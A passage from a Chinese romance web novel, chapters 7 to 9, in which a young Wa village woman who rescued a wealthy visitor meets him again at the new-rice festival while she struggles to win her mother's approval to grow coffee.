可刚才他却没说出这个事实,而是先入为主的强调是她救了他。
或许更早,在他拿到手机拨出电话时就已经提醒过了。
否则,这些人怎么会提着谢礼上门呢。
明明是她撞了他,他却承担起全部责任。
这世间,怎么会有他那样好的人呢。
7. 第 7 章
[我把咖啡送给你,你能告诉我,你叫什么名字吗?]
chapter 07
一排黑色小汽车停在进寨的路口上。
这是他们寨子有史以来车辆最多的时候。寨子里只要在家的男女老少都新奇地围了过来,但也不敢靠得太近,便都远远地坐在了田间地头,指手画脚地讨论着。
依朵赶到寨子口时已经有人上车了,车门声“砰砰”作响。
她踮直了脚尖都没看到他的背影。
依朵有些急,看眼路下的田地,正想着要不要绕道而行,人群忽然分开,她顿时便露在众人面前。
依朵愣住,她身后跟来的赵一慧也愣住,而后伸手就要把依朵拉到旁边。不想前方的男人直直看向她们,不,是看着她身边的姑娘。
他出声道:“依朵姑娘,你的咖啡很好喝,我能跟你买一些吗?”
那目光直直落进了依朵的心里,她鼻尖忽然酸胀,莫名其妙有些想哭。
太难受了。
依朵说不出话,只能疯狂点头,随即转身就往屋子跑去。
留下赵一慧面对众多领导的注目,她咽了咽口水,强自镇定:“依朵回去拿咖啡了,领导们请稍等。”
穿夹克的中年男人闻言转向乡委副书记、村支书还有村长,出声问:“南洛乡班贺村委会居然有农户种咖啡?怎么没人往上报呢?”
乡委副书记顿感稀奇,如今咖啡在茶城发展迅速,政策大力倾斜之下,茶城九县一市基本上都有人在热火朝天地种咖啡。只有梦县还未形成规模,而整个南洛乡,他还真没听说哪家种咖啡的。
因此他直接看向这个寨子的寨长。
赵满田笑着解释:“也就依朵那姑娘眼光超前,自己到合作社领了苗回来种了几棵,没大面积种植呢。”
乡委副书记和村支书便说如果能种植,还是提倡多多种植。
只有穿夹克的中年男人沉默不语,抬眸看向眼前贫穷落后的寨子,再看向田间地头或坐或立的身影,他们身上有的还补着补丁。
山区人民群众的观念早已根深蒂固,对种咖啡这项新事物的接受度较低,即便引进了咖啡也难以获得农户们的认可与推广种植。
而当地发展的经济作物种类又相对匮乏,下辖村镇的经济难以得到提升,百姓们的生活质量自然也无法得到保障……
这当头,依朵抱着一个鼓鼓的布袋子跑了过来。
她没看周边那些大人物,径直走到杵着拐杖的男人面前,看着他漂亮的眼睛,鼓起勇气问:“我把咖啡送给你,你能告诉我,你叫什么名字吗?”
温聿白怔了一下,旁边戴眼镜的年轻男人皱了皱眉头,抬手就往西装内衬伸去,是要掏他自己的名片。
温聿白却已经开口了:“我叫温聿白。‘温光渐暖岁聿晚,一窗晴日映山白’,是我的名字。”
戴眼镜的男人动作一顿,诧异地看一眼温聿白,再看一眼已经咧嘴笑起来的佤族姑娘,沉默地放下手。
这句诗依朵并没有听过,但不妨碍她觉得好听。
依朵露出一口白牙,抱起咖啡往前递去,笑着说:“真好听,咖啡送你啦。”
温聿白难得被她笑容感染,也弯了弯唇角,伸手接过:“那我就不客气了,下次来给你带些咖啡相关的书。”
依朵愣在原地,随即心底猛然窜起一股巨大的惊喜来。
他还会来?
他们,还能再见面?
男人轻声说:“我走了。”
依朵心脏依旧漂浮着,却已经开始期待下次见面了。
她开心地挥挥手:“再见哦。”
还是想再和你见面的。
哪怕很贪心。
她看着他在秘书的搀扶下坐进了一辆黑色轿车的后座,怀里抱着她送的咖啡,粗麻滥布拼接起来的袋子都显得高级了起来。
温聿白侧目看向车窗外的姑娘,朝着她颔了颔首。
依朵嘴角咧着笑,抬着双手一个劲儿地挥。
轿车门关上,秘书绕去了副驾,驾驶位上原就坐着一位司机。
后方的车门陆续关上,赵满田热情地一辆车一辆车打着招呼上前,什么书记辛苦了,领导饿着啦,某某大队长下次再来等等话。
车队一辆接一辆驶出寨子,沿着公路越行越远,最后消失不见。
赵一慧站在依朵旁边,啧啧称奇:“那男人坐的那张(辆)车——奥迪A6呢,不得了啊。”
依朵一脸懵懂,嘀咕:“不都是车吗?不过他坐那张确实要更好看一些呢。”
赵一慧嘴角抽了抽,捞出白色翻盖的OPPO手机,打开百度查给她看:“喏,是这个奥迪A6啦。”
依朵看了眼,车标是四个圈圈挂在一起的,跟奥运会那几个圈似的。
她“哦”了声,说:“不懂。”
赵一慧笑着收起手机,说:“那可是豪车,六七十万呢。”随即压低声音,“贵是一个,其次是那个车,我听说是达官贵人才坐呢……”
依朵虽然懵懵的,但却不觉得意外。
从认识他起,她就知道,他生于云端,锦衣玉食,与她不是一个世界的人。
她不懂车,却觉得他配得上那么好的车。
寨子里的议论声忽然大了起来。
岩大龙跟在赵满田身后:“刚刚最前头那个,”他声音压小了,“给是县委书记?”
赵满田点头。
岩大龙倒吸了口气,继续说:“我还瞧见了肖副乡长,还有县常委呢、乡政府呢、派出所呢,还有村支书……”
岩大龙之前在乡邮政所干过几年送邮件的小工,对乡上的领导班子自然不陌生。
随着他一个一个报出来的单位和级别,周遭人群罕见地静了一瞬,叶嫩妹也愣住了。
这是他们这些脸朝黄土背朝天了一辈子的农民一生都难以见到一次的面孔。
这下好了,一下见了个干净。
赵满田双手往后一背,老神在在点头。
他还没说,连市里都来人了,只是惯常低调,又恰好寨子里没人认识而已。
岩大龙铺垫了一路,终于问到关键问题上:“那依朵救那个,是什么来头哇?”
赵满田顿了一下,摇了摇头说:“具体呢不晓得,但是上头的电话是从北京打来呢。昨日整个茶城戒严,我猜着就是跟这位有关。”
赵一慧顿时倒吸了口气。
昨天茶城戒严她可是亲身经历,过检查站的搜查都比往日严格了不少。
她抱着依朵的胳膊,双手激动地掐着她,嘴里叨咕着:“了不得啊了不得!好姐妹,苟富贵勿相忘啊!”
依朵被逗笑:“人家提来呢谢礼就在家里,你克拿嘛。”
赵一慧笑说那我可不客气了。
玩笑间姑父尼在成忽然说:“那昨日那张飞机,怕也是跟这位有关咯?”
赵满田估摸了一下,也跟着点头:“应该就是了。”
不然就他们这样的边界小寨,平白无故地怎么可能会有飞机飞过来。
应该就是来找人来了。
这下寨子里的人纷纷议论了起来。
那可是他们活了几十年第一次看见飞机!
有人说:“三春家呢,你家依朵干了件大好事咯!”
叶嫩妹脸色顿时变得奇怪。昨天依朵背着人回来时她还想将人给丢出去呢,好在依朵坚持了,不然她想象不到今日他会是什么下场。
赵满田也点了点头,夸赞道:“依朵做呢不错,大家跟她学习噶。望见有人困难,我们一定要发挥我们佤族人民呢热心……”
依朵一弯腰就溜出村长讲话现场。
她对那些让人望而却步的级别地位与加注在他身上的身份猜想并不感兴趣。
她只知道,他就是他。
是那个穿着一身白衬衣温和说没事的他。
依朵边往家走,边在心底默念着他的名字。
温玉白,温玉白。
温光渐暖岁聿晚,一窗晴日映山白。
正要再读一遍,倏而反应过来,yù应当不是玉,而是聿。
‘岁聿’二字应当是出自《诗经》的那句——‘岁聿其莫。’
所以是温聿白才对。
真贴切呀,第一次见他,他就是穿着一身雪白的衬衣,像个温润如玉的谪仙一样降临在她的世界。
叫她一眼难忘。
这时候的她还不知道,这句她没读过的诗,其实是温聿白的姥爷以他的名字为题,特意为他而写的嵌名诗。
-
阿妈在不久后也回来了。
先去看礼盒,超级大一个。旁边不知道什么时候堆了一堆茶米烟酒油,用高级礼盒包装着,一看就不是小数目。
大伯也来到家里,抱着礼盒左看右看说估计得好几千呢,说里面是人参鹿茸贵得很,又看了看茶盒,怪叫一声:“西湖龙井!”
母女俩瞪大了眼看着他。
岩大龙像个百事通一样科普道:“好茶,好几万一公斤呢!”
叶嫩妹倒吸了口冷气,又去看米。好在大米相对没那么贵,是东北的稻花香大米,米粒饱满,一大袋足有五十公斤,油也还好,是两大桶金菜花菜籽油。
岩大龙看一眼略过了,拿起烟,是红河道,一条两千多,一共两条。
他拍了拍烟:“可惜三春走呢早,不然他下半年呢烟不愁了。”
叶嫩妹二话不说拿了一条塞给他:“我们娘俩也不抽,给小山留条就成,这条大哥你拿走,这些天也扎实辛苦你了。”
岩大龙笑呵呵推拒了两下,顺手也收下了。
最后是酒。
“飞天茅台?”岩大龙抱起酒细看,“还真是。这酒价格在三千左右呢,不过听说国内缺货严重。”
不想他们送礼送双,直接拿来两瓶。
岩大龙心生羡慕,他这
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一生就好口小酒了。
“贵呢贵呢,两瓶六千多,这些礼加起来么估计两三万咯……”
叶嫩妹目瞪口呆,愣愣地说:“一点礼而已,居然就是我们家两年呢收入了。”
岩大龙咂嘴:“人家有钱咯,依朵这回救了个财神爷咯……”
依朵抿了抿唇,不再听大伯吹嘘,转进廊房。没剥皮的玉米堆成了山,旁边靠墙角却堆着一堆剥得干干净净的金黄玉米。
依朵看着,胸腔忽然酸涩柔软,一股怅然若失漫上心头。
他怎么那么好啊。
明明生于锦衣玉食之家,举手投足间矜贵优雅,可干起农活也丝毫不含糊。
好得连想念他,都觉得是一种亵渎。
-
晚上十一点,母女俩齐心协力,终于把白天背回来的玉米全部剥完皮。
依朵直起身体,腰间发出骨骼的惨叫声。
她伸手撑着老腰,也跟着惨叫:“腰要疼死咯!”
阿妈拍她一巴掌,嗔怪:“小小年纪有哪样腰,莫瞎说。”
依朵:“……”
她真疼。
她撅起腰给阿妈看。
叶嫩妹却已经不理她了,拿来花篮,把玉米皮收好。
依朵只得挪过去,撑着木板一动不动。
叶嫩妹倒也不说她,麻利地把地扫干净,这才推了推她,“洗脚睡觉克。”
依朵看着阿妈黢黑的面容上泛着的苍老与疲惫,心脏针扎似的疼,忽然开口:“阿妈。”
叶嫩妹扭头看向她,眼神疑惑。
依朵深吸一口气,说:“我要种咖啡。”
空气静止了一瞬,细小的飞虫绕着老旧坚强的电灯泡打转。
叶嫩妹说:“你不是都种了么。”
她在茶地山地周边种了一圈,自己没给她拔走就是给她种的意思了,怎么现在还来问……
随即想到什么,她又猛地看向女儿:“你……”
知道阿妈明白了自己的意思,依朵肯定点头,一股子雄心壮志:“我这回要种几大亩,甚至几十亩——”
“啪”一声,叶嫩妹打在她胳膊上,阻止了她的疯言疯语。
“你神经了噶?”
“种那过(么)多,吃不完就烂在地里了!”
依朵信心十足地说:“多的可以卖!”
叶嫩妹显然不信,甚至嗤之以鼻:“与其在这侃大白话,还不如想想赶紧嫁出克呢!”
依朵心底一下烦躁起来,说咖啡的事怎么又扯到嫁不嫁人上去了!
这两年来要不是阿哥在中间帮她周旋着,说不定她早就胳膊拧不过大腿被阿妈给嫁了。
依朵梗着脖子:“反正阿哥都还没讨婆娘,我才不急。”
“你!”叶嫩妹气得又拍了她一巴掌,“你哥跟你又不一样,他坐过牢……”说着说着眼睛都红了。
依朵急忙上前给阿妈抹了抹眼睛,“你看你,一说就哭,哭不得了。”
叶嫩妹垂下头,吸了吸鼻子。
依朵也沉默,片刻后才轻声说:“可温先生说了,咖啡现在是全球第三大饮料作物之首,国内需求也很高。这是一个全新的市场,我们要是没抓住这个机会,以后寨子里的人会更加看不起我们的。”
“阿妈,我想挣一口气。”
叶嫩妹肩膀塌下,背脊也弯了寸许。
九八年洪水来得急,男人去得早,寨子里的人对他们家就有些看不起了。
后来小山去坐牢更是越发看不起她们娘俩了,要不是村长护着,早被寨子里那些狼心狗肺的给撵走了。
这两年随着那些事淡去,至少明面上是没人再冷嘲热讽了。
她沉沉叹了口气:“说呢好听,不有人来收,你要咋过卖?”(没人来收,你要怎么卖)
依朵可不怕:“我自己背我也背克乡上卖,不行就克县上,再不行还有市里,总有地方卖得出克。”
见她像牛一样犟,叶嫩妹沉默了。
一只小虫子在夜色里嗡嗡乱飞,像不坚定的心脏,只知道乱撞。
依朵抿唇:“我们这里能种咖啡,这是老天赏赐,甚至豆子品相还不差,不然温先生走的时候不会要跟我买咖啡。”
“阿妈,你给我试一次吧。”她看向阿妈,目光灼灼。
叶嫩妹抿了抿苦涩的嘴巴,没法跟她对视,转身便往灶屋走去,拒绝沟通的姿态。
一如三年前。
依朵就知道会是这样。
她看向漆黑的夜色,星星闪烁下山峰成影,像一张张巨大的网,将所有出路都摁在了胆小之下。
可依朵却又不得不理解阿妈。
种咖啡需要地,家里的地又分为茶地和山地。茶地是家里经济来源,山地是口粮,哪一样都动不得。
她既憋屈又亢奋。
可不管怎么样,咖啡,她是一定要种的。
她总会找到办法的!
8. 第 8 章
[他站在人群的最后,隔着那么多那么多的人,可我还是一眼就看到他啦。]
chapter 08
依朵没找到办法。
阿妈死活不同意她占用家里的地,哪怕是给别人家种也不准她栽咖啡树。
依朵只能跑去依慧家找村长,但村长在村委会,她又跑去村委会,请了他老人家来家里给阿妈做思想工作。但也不管用,总之就是不行。
依朵软磨硬泡了好久,叶嫩妹烦得老早就下地了,依朵只能赶着家里饿肚子的牛出去放。
日子一天天过去。
她偶尔会不自觉地盯着去往县城的那条梦缅公路的尽头张望。
他说过还会再来。
他那么聪明,一定会有办法的。
她只恨自己愚笨,恨自己没能力,辜负他的期望。
那辆翻到公路下面的车,在后来的某天被一辆大吊车吊走了,依朵远远地去看了眼,但没见到他。
她有些失落。
-
一年一度的新米节到来。
整个寨子也热闹了起来。
清晨的雾还环绕在山头,空气里都是冷丝丝的味道。
寨子下方的梯田里已经站着一道道身影,佤族新米节的祭祀要赶在太阳没出来前开始。
巴猜(祭司)站在田头,高声吟诵着祭词——请谷神、迎谷魂,保平安、护丰收……浑厚的嗓音回荡在山里,大家期待着。
洒酒祭刀后,叶嫩妹弯腰割下第一把新谷,依朵在旁接过,拿起来一看,谷粒饱满,泛着清香。
她咧嘴笑起来。
今年又是个丰收年!
将第一把稻谷挂在门头上,把谷魂招进家门,保佑明年也要大丰收。
新稻谷打下来,舂谷脱壳后煮上第一锅新饭。阿妈杀了鸡,依朵备好祭品,打出七碗饭,饭上放上肉摆上供台,请天神地神山神谷神,邀请列祖列宗来享用。
等祭拜完,午饭就在家里吃,是香喷喷的鸡肉烂饭。
午饭过后,阿妈推着依朵快去换衣服。
衣服昨天已经洗过了,一件黑布无领短上衣,领口和齐脐的衣摆处都绣有小银花坠子。裙子是一条红黑相间的齐膝布筒裙,腰系红布宽腰带,再挂上了一圈银腰链,走起路来就会叮铃轻响。
依朵换完衣服,叶嫩妹拿着银饰进屋,先将女儿又长又直的浓密秀发梳在身后,而后拿起宽宽的银发箍箍在姑娘头顶,再拿起银项链给她戴在脖间,坠链垂挂在胸前,最后戴上漂亮的银耳环。
整装完毕,叶嫩妹歪头一看,笑着说:“我姑娘真乖呢。”
哪个女孩子不喜欢被说好看呢?
依朵也不例外,嘴角控制不住上扬。
她摸了摸头饰,抬眸就见一朵洁白的云朵挂在湛蓝的天空。
云朵。
云朵……先生。
“走咯。”
叶嫩妹也穿了身新衣服,转身出门。
楼梯口的背篓里放着新鲜的稻谷,阿妈背起背篓,依朵抓起簸箕,两人往寨心走去。
踏上寨子小路,阿妈从背篓里抽了一穗稻谷走到路边,弯腰插上一支。
依朵往回看去,路边那一枝枝谷穗低垂的稻谷像条金黄的丝绸,沿路而铺,漂亮极了。
寨心老树下的神台上已经铺好了绿绿的芭蕉叶,粗大树根下的祭祀石头昨夜已经被烟火熏过,石头前摆着祀品,两边是寨子里的大石杵臼,香火气混合着新谷的清香,让这一天变得不平凡。
树下已经聚了不少人,叶嫩妹抓了几捧新稻谷放进依朵端着的簸箕里,往大石杵臼处指了指,“快过克。”
依朵应了声,端着新稻走过去,几个姑娘看见她,都转头打招呼。
依朵笑着一一回应,站到放牛小伴田小燕旁边。
小燕个子矮矮的,穿着黑布短上衣,玫红黑相间的布裙,斜挎着一个布包,胳膊上的银手镯却少了一个,端着个比她大的簸箕,扭头面无表情地看了依朵一眼。
“小燕,你今日真好看!”依朵就想逗逗她。
杵臼边的所有姑娘都看了过来,田小燕终于绷不住了,翻了个大大的白眼。
依朵笑开,旁边的姑娘也跟着笑。
她看过去,诧异:“叶玲?好久不见咯,你咋回来了?”
叶玲一头时髦的卷发,睫毛又卷又翘,嘴巴上涂着好看的口红,洋气又好看。
洋气姑娘却撇了撇嘴,一脸烦躁:“阿妈骗我说她病得下不来床了,哪个晓得是骗我回来相亲呢,烦死咯。”
“你阿妈给你看的那个条件还是不错呢,就是小燕她小孃家旁边那个斯诺(si nuo:小伙、帅哥),帅帅呢。”
对面穿着黑短上衣、脖间挂着红珠子项链的叶香萍笑着说起。
一直木愣愣的田小燕抬头看她一眼,又看向叶玲,说了句:“那个人嫁不得。”
叶香萍愣了愣:“啊?我看着勤快呢嘛。”
田小燕又不说话了。
依朵倒是猜到一些原因。
她扭头,在不远处的人群后看见个垂着脑袋的瘦弱女人,那就是小燕的小孃。
她身前拢着一个不怎么活泼的小姑娘,穿着长袖子的黑上衣,但那露出来的手腕上还能看得见已经泛着紫的肿痕。
依朵曾经放牛放到寨子后山,看见过她被家暴的现场。那男人打得她跪在地上起都起不来,当初要不是她吼了声,后果不敢想。
如果大姐说的没错,那么叶玲的相看对象应该就是那个家暴男的弟弟。
而这头的叶香萍已经调侃起堂妹来了:“依朵,你也老大不小了,也该相看起来咯。”
“早呢早呢。”依朵猛回头,黑发晃得直甩,“我还想种咖啡赚大钱呢。”
正说着话,旁边弓着腰,端着簸箕小跑过来一道身影,在依朵旁边插进来,大口喘气,悄声说:“还好还好,赶上了。”
叶玲往旁边挪了挪:“依慧?你咋回来咯?”
赵一慧说:“国庆放假呀,今年跟中秋连着,放八天呢。”
叶玲弯着的唇角立马拉平:“好了,不准再说了,再说要喝敌敌畏了。”
姑娘们都笑起来,灿烂的阳光洒在一张张黝黑健康的脸上。
依朵看着她们,感觉好像看见了一颗颗晶莹剔透的黑色珍珠。
今日新米节,大家都穿上了盛装,确实是这片深山里最美黑明珠。
“来了来了。”有人小声嘀咕。
依朵扭头看去,牛头开路,由四名佤族壮汉抬着一架三个牛头骷髅组合成的牛头架大步走进,手持着祭杖的巴猜紧跟其后,手里提着一只毛羽鲜艳的大公鸡。
依朵忙站直了身体,姑娘们也都不说话了,个个把腰背挺得直直的。
老话说,新米节这天,姑娘们要精神些。
巴猜走到老树下,对着神台举起大公鸡。
“唵(ong)——”牛角号朝天响起。
“咚咚咚——”木鼓的敲击声也紧随其后。
巴猜下跪磕头,端起神台上的酒水,沾一沾洒向天空和四周,嘴里念念有词。
祭祀仪式冗长而严肃,太阳暖烘烘地照在头顶,头上的银发箍沉甸甸的压着脑袋,依朵眼皮渐渐撑不住了。
早晨天不亮就跟阿妈去田里割稻谷,又背回来打谷、舂米、煮饭,忙忙碌碌一早上,简直是又困又累。
眼皮正打着架,左侧胳膊忽然被拐了下。
依朵挣扎着掀开一条缝,连话都懒得说,努努嘴示意:怎么了?
赵一慧下巴朝场外比了下。
依朵困得头昏眼花,耷拉着眼皮扭头,不期然对上一双漆黑含笑的漂亮眼眸。
她愣了两秒,一个激灵瞬间清醒过来,脸唰地一下烧了个彻底,赶忙站直身体转回头。
片刻,她又忍不住悄悄扭头。
他还站在那里,肩背笔直,眉目俊朗。白衬衣穿在黑色夹克外套里面,单手揣着兜。
男人个子高,气质优越,站在众人身后是那么的显眼,已经有好几个寨民频繁扭头去看他了。
人群围在几步之外形成了一个半圆,身影高高矮矮,没人说话也没人东张西望,都在看着巴猜祭祀,偶有小孩探头探脑也被家长一巴掌按回身后。
男人原本已经挪开眼去看巴猜了,似乎是感受到她的目光,他视线又偏移了过来,越过层层身影与她撞上。
依朵没忍住扬起个大大的笑容。
温聿白朝着她
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微微点头,唇角噙着温润笑意。
他真好看呀。
依朵心满意足转回头,眼也不困了,头也不沉了,腰背挺得笔直精神。
旁边的赵一慧还没回头,她看着几秒后才扭头去看巴猜的男人,再转头看了眼身边红着耳尖的姑娘,若有所思地眨了眨眼。
金灿灿的日头照着众人,随着巴猜请谷魂保平安高喝声,大家齐齐高声应和,声音回荡在山谷里。
稻谷被撒在老树和人群上,依朵身上也掉落了几粒,她一手端着簸箕,另一手接住新米攥在掌心。
巴猜吟着祀词朝她们这边一挥手,姑娘们便将稻谷倒进杵臼里,斯诺们抬来舂杆,吆喝着你一杵、我一杵舂起稻谷来。
稻谷在杵臼里脱壳,新米舂出来,预示着祭祀仪式结束,整个寨子热闹起来。
寨民们开始分工合作,几个妇女舀起新米倒进簸箕里筛簸,有人在旁边架起三个炉子,还有佤族壮汉抬来大锅,为下午的新米宴煮起饭来。
依朵端着空掉的簸箕,焦急避开往来热闹的寨民,快速往最后方赶去。
这次的男人不是一个人来的,他旁边跟着上次送礼来的那个戴眼镜的年轻男人,两人身后跟着个身形魁梧的古铜色皮肤的男人,一双锐利的眼震慑住想要前来搭讪的寨民。
依朵欢快的心也被这个男人震得有些滞住,脚步踌躇着不敢上前,站在几步之外,小心翼翼地打招呼:“温先生。”
她的声音依旧如黄鹂一般清脆悦耳,但却多了几分拘谨。
温聿白弯了弯唇角,走上前一步,轻声说:“不用怕,这是我司机杨浩。”随即连身旁的人也介绍了,“这是我秘书罗子衡,你见过的。”
依朵忙说了两声你好,司机沉默点头,叫罗子衡的倒是伸出手来,似是要握手。
依朵忙将簸箕提着放到身后,右手在裙边擦了擦,伸出手握了握他的手,又说了声你好。
这时身后的簸箕倏然轻了,依朵诧异回头,簸箕被人提起,捏着簸箕边缘的手指骨节分明、干净漂亮,是温聿白。
他说:“我帮你拿着。”
依朵忙说不用,但簸箕已经落入到男人手里,她攥了攥手心的谷粒,还是没忍住将手伸到他面前,摊开掌心,眼眸亮晶晶地看着他:“这是谷魂保佑过的新米,送给你,保你来年大丰收。”
罗子衡没忍住笑了声。
依朵看过去,他说:“先生又不种地,谷魂保佑不了的。”
依朵啊了声,脸热了个彻底,赶忙要将手收回来,不想男人已经伸出指尖,将她手心的谷粒捡起,像鸟儿轻啄掌心,极其温柔,一下一下啄进心脏,酥酥麻麻的。
他唇角含着笑意,说:“大丰收又不是一定要收粮食,也可以是其他的。”
谷粒被他捡完,依朵将手背在身后,掌心合握,胡乱找话:“你们是专门来看我们过节的吗?”
随即想起什么,抬眸往他耳朵看去。
这次看清了他戴助听器的样子。
其实与平常没什么不同,不细看根本看不出来。
温聿白摇头,说:“刚从老黑山回来,路过你们这里,听到号角声,就上来看看。”
依朵愣了下,老黑山?
那不是挨着缅甸那座山么?
她虽没去过,但寨子里的老人都说那边危险,前几年缅甸打内战,站在老黑山就看得见。
她蠕动唇角,轻声说:“那边很危险的,你不要去……”
温聿白颔首:“我知道危险。放心,有准备的。”
依朵还想说些什么,阿妈过来拍了拍她。
依朵转回头,刻着牛头纹的木鼓已经挪到中央,鼓手举着棒槌,斯诺们排排站好,姑娘们也都走进了场中央。
依朵倏然心慌起来。
不是怕赶不上跳舞,而是怕他走掉。
她转回头看他,目光是那样的热切,“温先生,我们下午有新米宴,有很多特色菜。”
“你、你们留下来尝一尝好吗?”
“叫我名字就好。”温聿白顺着她视线看去,已经猜到接下来的流程了。
“你邀请,我自然是要留下来品尝一番的。”他微微笑起来,抬了抬下巴,“快去吧,期待你的表演。”
9. 第 9 章
[我的心房里好像装了架木鼓,咚咚咚敲个不停。耳朵听见他说,很期待我的表演。]
chapter 09
得知他不会立马就走,依朵开心得想在原地蹦上一蹦。
又担心他人生地不熟,便跑去神台边找上村长。
赵满田这会儿正忙着安排今日各方事宜,以为她又来说咖啡的事,忙摆手,“今日忙得很,咖啡呢事我会跟你阿妈再沟通——”
依朵忙说:“不是这个事,是温先生来了。”
“哪个温……”赵满田一顿,随即瞪大了眼,“你说随(谁)?”
依朵超大声:“温聿白温先生来啦!”
赵满田倒抽一口凉气,忙不迭拉着巴猜把今日安排交代给他,随后不等巴猜反应过来便小跑开了。
巴猜一脸懵,伸长了手,“诶——”
赵满田跑出两步一拍脑袋又跑了回来,扯着巴猜的袖子交代:“对咯,今日呢新米宴一定要按佤王规格来办噶。”
说完又要走,巴猜这回反应过来了,扯着他袖子不让走,“到底咋过回事?”
赵满田说别问,问就是按最高规格来招待今日的贵客,随后便扯着依朵走了。
绕过木鼓后,他才搓搓手,有些慌乱地问:“温先生咋过来了?给是有哪样大事?我要不要将人喊克家里……”
没想到村长比自己还要紧张,依朵连忙安慰:“就是路过上来瞧瞧,满田叔你莫紧张。”
穿过热闹的人群,一眼便可看见站在边上那位身姿挺拔,气质卓越的男人。
赵满田伸着手小跑上前,一张脸笑开了花:“温先生,稀客稀客啊,远道而来辛苦了。”
温聿白伸手跟他握了握,知道这应该就是依朵寨子里的村长寨长了,便温和说:“今日冒昧前来,多有打扰了。”
赵满田忙说:“没没……您能来是我们寨子的荣幸。”
两人寒暄了几句,赵满田邀请他去家里坐坐,温聿白笑笑,看向依朵。
赵满田反应过来,忙笑着说接下来有佤族特色歌舞表演,还请他留下来观赏一二,随即又让依朵快快过去。
村长确实是整个寨子唯一能与他说得上话的人了,哪怕普通话不是那么流利。
依朵放心了,跑回小姐妹身边。
叶玲眼珠子都收不回来了,一个劲地往那头看,胳膊肘拐了拐她,“这谁啊?你对象?挖操好帅啊!”
依朵忙瞪了她一眼,“莫瞎说!”
脸却不受控制地红了,好在肤色黑,看不出来。
旁边的依慧却了然于心,笑出了声。
“嗙——”
木鼓声响起,姑娘们踩点站开,侧身搭手。
依朵没忍住又往那边看去一眼。
阿妈不知道什么时候走过去的,但也不敢跟他说话,只是揪了揪村长的袖子说了什么,随后村长又笑呵呵地侧头跟中间的男人说了两句,男人将簸箕递给阿妈,说了句什么,阿妈竟然扭头看了眼依朵,他也抬眸看过来。
依朵早在他看过来的前一秒收回视线,胸腔里好像装了只木鼓,咚咚咚做响。
“嗙!嗙嗙!嗙!嗙嗙嗙——”
磅礴有力的鼓点骤然急促起来,姑娘们的动作也跟着猛然一变,腰胯拧转,提步半蹲,双手五指张开搭在眼前,古铜色的大腿和胳膊上肌肉迸发,指缝间眼神锐利,狂野又性感。
“喔~喔!江三木洛!喔~喔——”①
斯诺们的唱喝声与鼓点声激畅起来,姑娘们踩点下腰,胳膊后张,左右甩发,三道弯后绕半圈侧踩,扭腰摆胯,前后甩发,乌黑浓密的秀发飞舞在半空,力量感十足。
罗子衡一脸惊叹:“不愧是佤族大名鼎鼎的甩发舞,这力量感确实是绝了。”
温聿白不语,但眼含欣赏。
他目光始终落在中间最有力量、舞蹈动作最狂野的姑娘身上。
相识以来她做什么都是小心翼翼的,甚至连说话也是。
他一度猜测是不是梦县佤族女孩要更温柔,想不到她跳起舞来这么劲感。
赵满田摸摸下巴,一脸骄傲:“我们佤族的舞蹈都是从狩猎、农耕、祭祀和日常生活中演变而来的。山里的人不管干什么都需要力气,所以跳出来就会很有力量感啦。”
实则内心疑惑不已,莫不是寨子里的姑娘们私底下排练过,不然今日怎么跳得这么整齐好看?
甩发舞跳完依朵就退了下来,其他姑娘们则围着木鼓和斯诺们一起跳起了其他舞蹈。
太阳金灿灿照着,年轻的姑娘小伙们尽情歌舞,妇女和男人们做饭的做饭,杀鸡的杀鸡,整个寨心欢声笑语不断。
依朵小跑到他们面前,村长在讲典故,她便不说话,只是看着他们笑。
漆黑的大眼睛里像是盛了一整个灿烂的太阳,耀眼夺目。
温聿白视线不由得挪了过去,从她冒着汗的脑门上扫过,等村长讲完,他从兜里捞出纸巾,整包递到她面前。
温声问:“头晕不晕?”
依朵再次看见熟悉的纸巾,指尖搓了搓,伸手接过,一甩秀发,笑着说:“不晕!”
手指攥紧包装袋。
这次,是他亲手递给她的,不再是捡来的。
她舍不得用掉,便抬起手豪迈地抹了把脑门。
寨子里的小孩嬉戏着、尖叫着在眼前跑来跑去,赵满田赶了几次也不管用,干脆再次提议:“温先生,要不我们去家里坐坐,这些小孩没个轻重,吵得耳朵疼。”
温聿白也有东西要给依朵,便点了点头。
一行人往寨子小路走时,他侧头看了眼司机。
后者点头,路过进寨的小路时岔了下去。
赵满田将人带回了家。
他家是寨子里第一家盖起新房子的人家。跟老式的木屋子不一样,是一座新式的两层小砖房,家畜也都分开了管理,不再像以前一样关在人住的木板下层,院子打了水泥地板,干净整洁。
在客厅坐下,依慧阿妈端来茶水,她不怎么会说普通话,茶水放下便退了出去,只赵满田在絮絮叨叨说着近几年的茶叶发展和政策倾斜。
温聿白偶尔应上一声,不着痕迹地将话题引到了咖啡种植的政策上。
赵满田一听就拍大腿:“政策是好呢,国家也为我们这些老百姓的发展想尽办法,可惜寨民听不进克!”
说到这个他就叹气,指了指旁边默不作声的依朵:“就拿依朵阿妈来说,思想观念根深蒂固,不管我们如何沟通,她就是不准小姑娘动家里的地。”
温聿白视线挪了过去,姑娘低垂着脑袋,手指抠来抠去。
赵满田再叹:“依朵是我们寨子最想种咖啡、也是最会种咖啡的人了。当初合作社发咖啡苗,我们寨子就只有三户人家去领了苗。”
他指指自己,再指指依朵:“我、她、她大伯。三户中就她的成活率最高,活了的有三分之二,挂果了的有一半呢,我的么只活了十来棵,至今一棵都还没挂果呢。”
温聿白抿了口茶,罗子衡没忍住问道:“还有另外一户呢?”
赵满田咂嘴:“她大伯的么就不用说了,边种边死,到最后死得一棵都不剩咯。”
温聿白微微挑眉,难怪当初县委刘书记问起时,偌大的一个寨子却只有她拿得出咖啡来。
赵满田也跟着喝了口水,叹气:“这也是寨民们不敢尝试种咖啡的原因。咖啡金贵,成长周期长,占地面积广又难养活,比不得茶叶……”
依朵忽然小声插话:“不难的。”
确实不难,对于全心全意种咖啡的人来说,只要用心管理,再金贵的咖啡都种得活。
起码依朵就是这样认为的。
三人目光转到她身上,赵满田诧异:“你居然jio(觉)得不难?”
依朵捏紧手指,鼓起勇气抬起头,直视着他们:“是、是不难。我们这里的土壤和气候都很适合种植咖啡,因此咖啡能不能活,水跟肥料是主要因素。”
温聿白专注的目光落在她身上,笑了笑示意她继续说。
依朵放松不少,话语也轻巧利索起来:“咖啡苗栽下去后定根水要浇透,要保持根部土壤的湿润,到了雨季要挖沟排水,因为遭了水的树苗根部会烂掉。”
“还有就是肥料,幼苗期侧重氮肥,要少肥多施,用肥也要根据咖啡苗的生长而改变,成长期还要多修剪枝叶,清除害虫……”
赵满田听得目瞪口呆:“你,你咋晓得那么多?”
